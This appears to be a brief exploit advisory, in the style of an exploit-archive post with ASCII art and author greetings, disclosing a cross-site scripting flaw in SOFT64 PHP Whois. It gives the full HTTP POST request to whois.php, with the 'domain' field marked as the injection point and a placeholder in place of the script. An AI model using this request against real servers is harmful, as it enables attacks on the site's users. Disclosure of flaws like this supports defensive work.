______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ \/_____/ \/_/ \/_____/ 01000010 01101001 01001111 [#]----------------------------------------------------------------[#] # # [+]SOFT64 PHP Whois XSS Vulnerability # # // Author Info # [x] Author: bi0 # [x] Contact: bukibv[at]hotmail[dot]com # [x] Thanks: sp1r1t,packetdeath,redking and all my friends # [x] Irc : irc.freenode.net / #security-shell # [*] Note : R.I.P Rock4eveR,We`ll never forget you ! # [#]-----------------------------------------------------------------[#] # # [x] Exploit : # # Http Request #======================================================# //Post: http://[server]/whois.php | HTTP/1.1 Host: [server] Accept: text/javascript, text/html, application/xml, text/xml, */* Content-Type: application/x-www-form-urlencoded; charset=utf-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache Content-Length: 47 // Post Data domain=[XSS]&tld_com= #=======================================================# # [#]-----------------------------------------------------------------[#] #EOF